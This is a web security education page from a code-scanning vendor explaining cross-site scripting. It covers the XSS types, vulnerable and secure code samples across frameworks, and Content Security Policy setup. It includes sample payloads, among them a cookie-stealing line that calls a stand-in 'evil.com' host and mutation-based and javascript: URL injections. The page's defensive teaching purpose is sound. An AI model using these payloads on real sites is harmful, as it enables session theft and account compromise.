CodeRaptor
Back to Security Vulnerabilities
High Severity - OWASP Top 10

Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS) is a client-side code injection attack where attackers inject malicious scripts into trusted websites. Ranked as OWASP Top 10 A03:2021 (Injection), XSS vulnerabilities allow attackers to execute arbitrary JavaScript in victims' browsers, bypassing the same-origin policy. Successful XSS attacks can steal session cookies, capture keystrokes, access sensitive data, perform unauthorized actions, deface websites, or redirect users to phishing sites. With over 40% of web applications containing at least one XSS vulnerability, it remains one of the most prevalent security threats.

Types of XSS Attacks

Stored XSS (Persistent)

Critical

Malicious script is permanently stored on the server (database, message boards, comments) and executed when other users view the content. Most dangerous type.

Example: Comment: <script>fetch("evil.com?c="+document.cookie)</script>

Reflected XSS (Non-Persistent)

High

Script is embedded in a URL or form submission and immediately reflected back in the HTTP response. Requires social engineering to trick users into clicking malicious links.

Example: URL: /search?q=<script>alert(document.cookie)</script>

DOM-based XSS

High

Vulnerability exists entirely in client-side JavaScript that processes user input unsafely. Server never sees the malicious payload.

Example: window.location.hash → element.innerHTML

Self-XSS

Medium

Requires victim to execute malicious code themselves, often through social engineering (browser console tricks).

Example: Paste this in console to win a prize!

Mutation-based XSS (mXSS)

High

Exploits browser parsing inconsistencies. Sanitized HTML becomes malicious after browser parsing/mutation.

Example: <noscript><p title="</noscript><img src=x onerror=alert(1)>">

Blind XSS

Critical

Payload stored and executed in contexts attacker cannot directly view (admin panels, logs, internal tools).

Example: Contact form → Admin dashboard execution

Vulnerable vs Secure Code

React/JSX - Dangerous HTML

Vulnerable - dangerouslySetInnerHTML
// DANGEROUS: Rendering user input as HTML
function UserComment({ comment }) {
  return (
    <div dangerouslySetInnerHTML={{ __html: comment.text }} />
  );
}

// Attack: comment.text = "<img src=x onerror='alert(document.cookie)'>"
// Steals user's session cookie!
Secure - Auto-escaped Text
// SAFE: React automatically escapes text content
function UserComment({ comment }) {
  return <div>{comment.text}</div>;
}

// Or if you need HTML, use a sanitization library
import DOMPurify from 'dompurify';
import { APP_ROUTES } from '@/lib/config'

function UserComment({ comment }) {
  const sanitized = DOMPurify.sanitize(comment.text);
  return <div dangerouslySetInnerHTML={{ __html: sanitized }} />;
}

Vanilla JavaScript - DOM Manipulation

Vulnerable - innerHTML
// DANGEROUS: Using innerHTML with user input
const params = new URLSearchParams(window.location.search);
const username = params.get('name');

document.getElementById('welcome').innerHTML = 'Welcome, ' + username;

// Attack URL: ?name=<script>alert('XSS')</script>
// Script executes in user's browser
Secure - textContent
// SAFE: Using textContent instead of innerHTML
const params = new URLSearchParams(window.location.search);
const username = params.get('name');

document.getElementById('welcome').textContent = 'Welcome, ' + username;

// Or create text node
const welcomeEl = document.getElementById('welcome');
welcomeEl.appendChild(document.createTextNode('Welcome, ' + username));

// Script tags are rendered as text, not executed

URL Parameters & Attributes

Vulnerable - Unescaped Attributes
// DANGEROUS: User input in href attribute
const redirectUrl = new URLSearchParams(window.location.search).get('redirect');

const link = document.createElement('a');
link.href = redirectUrl;  // No validation
link.textContent = 'Click here';

// Attack: ?redirect=javascript:alert(document.cookie)
// Clicking link executes JavaScript
Secure - URL Validation
// SAFE: Validate and whitelist URLs
const redirectUrl = new URLSearchParams(window.location.search).get('redirect');

function isSafeUrl(url) {
  try {
    const parsed = new URL(url, window.location.origin);
    // Only allow http(s) protocols and same origin or whitelisted domains
    return (
      (parsed.protocol === 'http:' || parsed.protocol === 'https:') &&
      (parsed.origin === window.location.origin ||
       allowedDomains.includes(parsed.hostname))
    );
  } catch {
    return false;
  }
}

if (isSafeUrl(redirectUrl)) {
  const link = document.createElement('a');
  link.href = redirectUrl;
  link.textContent = 'Click here';
} else {
  console.error('Invalid redirect URL');
}

Framework-Specific Protection

React Auto-Escaping

React automatically escapes values embedded in JSX, protecting against XSS by default.

// SAFE: React auto-escapes
function UserGreeting({ name }) {
  return <h1>Hello, {name}!</h1>;
}
// If name = "<script>alert('XSS')</script>"
// Renders as text: Hello, <script>alert('XSS')</script>

// DANGEROUS: dangerouslySetInnerHTML bypasses protection
function UserBio({ bio }) {
  return <div dangerouslySetInnerHTML={{ __html: bio }} />;
}

// SAFE: Sanitize with DOMPurify
import DOMPurify from 'dompurify';

function UserBio({ bio }) {
  const sanitized = DOMPurify.sanitize(bio, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p'],
    ALLOWED_ATTR: ['href']
  });
  return <div dangerouslySetInnerHTML={{ __html: sanitized }} />;
}

Vue.js Auto-Escaping

Vue escapes interpolated content by default. Use v-html sparingly and only with trusted content.

<!-- SAFE: Double mustache syntax auto-escapes -->
<p>{{ userInput }}</p>

<!-- DANGEROUS: v-html renders raw HTML -->
<div v-html="userBio"></div>

<!-- SAFE: Sanitize before using v-html -->
<script setup>
import DOMPurify from 'dompurify';
import { computed } from 'vue';

const props = defineProps(['userBio']);

const sanitizedBio = computed(() =>
  DOMPurify.sanitize(props.userBio)
);
</script>

<div v-html="sanitizedBio"></div>

Angular Security Context

Angular sanitizes values automatically based on context (HTML, URL, style, script).

<!-- SAFE: Angular sanitizes by default -->
<p>{{ userInput }}</p>

<!-- SAFE: Property binding also sanitized -->
<img [src]="imageUrl" />

<!-- DANGEROUS: Bypass with DomSanitizer (use carefully) -->
import { DomSanitizer } from '@angular/platform-browser';

constructor(private sanitizer: DomSanitizer) {}

getTrustedHtml(html: string) {
  // Only use for trusted content!
  return this.sanitizer.bypassSecurityTrustHtml(html);
}

<!-- SAFE: Use Angular's built-in sanitization -->
<div [innerHTML]="userBio"></div>
// Angular automatically sanitizes innerHTML

Content Security Policy (CSP)

CSP is an HTTP header that defines trusted sources for scripts, styles, and other resources. Even if XSS occurs, CSP prevents malicious scripts from executing.

Basic CSP (Strict)

// HTTP Header or Meta Tag
Content-Security-Policy: default-src 'self';
  script-src 'self';
  style-src 'self';
  img-src 'self' data: https:;
  font-src 'self';
  connect-src 'self';
  frame-ancestors 'none';

// Blocks all inline scripts and external sources except same origin

Nonce-based CSP (Recommended for SPAs)

// Server generates unique nonce for each request
const nonce = crypto.randomBytes(16).toString('base64');

// Set CSP header with nonce
res.setHeader(
  'Content-Security-Policy',
  `script-src 'nonce-${nonce}' 'strict-dynamic'; object-src 'none'; base-uri 'none';`
);

// Include nonce in script tags
<script nonce="${nonce}" src="/app.js"></script>
<script nonce="${nonce}">
  console.log('Inline script with nonce');
</script>

// Scripts without correct nonce are blocked

Next.js CSP Configuration

// next.config.js
module.exports = {
  async headers() {
    return [
      {
        source: '/(.*)',
        headers: [
          {
            key: 'Content-Security-Policy',
            value: [
              "default-src 'self'",
              "script-src 'self' 'unsafe-eval' 'unsafe-inline'", // Relax for dev
              "style-src 'self' 'unsafe-inline'",
              "img-src 'self' blob: data:",
              "font-src 'self'",
              "connect-src 'self'",
              "frame-ancestors 'none'"
            ].join('; ')
          }
        ]
      }
    ];
  }
};

CSP Violation Reporting

// Add report-uri to receive violation reports
Content-Security-Policy:
  default-src 'self';
  report-uri /csp-violation-report;
  report-to csp-endpoint;

// Or use report-only mode for testing (doesn't block)
Content-Security-Policy-Report-Only:
  default-src 'self';
  report-uri /csp-violation-report;

// Endpoint receives JSON reports
app.post('/csp-violation-report', (req, res) => {
  console.log('CSP Violation:', req.body);
  // Log to monitoring service
  res.status(204).end();
});

CSP Best Practices

  • Start with strict policy and relax as needed
  • Use nonces for inline scripts instead of unsafe-inline
  • Test with report-only mode before enforcing
  • Never use unsafe-eval in production
  • Whitelist specific domains, not wildcard (*)

Common CSP Directives

  • default-src - Fallback for other directives
  • script-src - JavaScript sources
  • style-src - CSS sources
  • img-src - Image sources
  • connect-src - AJAX, WebSocket, EventSource
  • frame-ancestors - Embedding in iframes
  • upgrade-insecure-requests - Force HTTPS

Additional Prevention Methods

Output Encoding/Escaping

Always encode user input based on context (HTML, URL, JavaScript, CSS)

Use textContent, not innerHTML for text

Input Validation

Validate and sanitize all user inputs on client and server

DOMPurify.sanitize(userInput)

HTTPOnly Cookies

Set HTTPOnly flag on session cookies to prevent JavaScript access

Set-Cookie: session=...; HttpOnly; Secure; SameSite=Strict

X-XSS-Protection Header

Enable browser XSS filter (legacy, CSP preferred)

X-XSS-Protection: 1; mode=block

Avoid eval() and Similar

Never use eval(), Function(), setTimeout(string) with user input

Use JSON.parse() instead of eval()

Trusted Types API

Enforce type checking for dangerous sinks (innerHTML, eval)

require-trusted-types-for 'script'

How CodeRaptor Detects XSS Vulnerabilities

CodeRaptor automatically scans for XSS vulnerabilities in your code, identifying dangerous patterns before they reach production.

Detects dangerouslySetInnerHTML usage
Flags innerHTML with user input
Identifies missing CSP headers
Checks for proper sanitization
Validates URL attribute usage
Suggests secure alternatives
Try CodeRaptor Free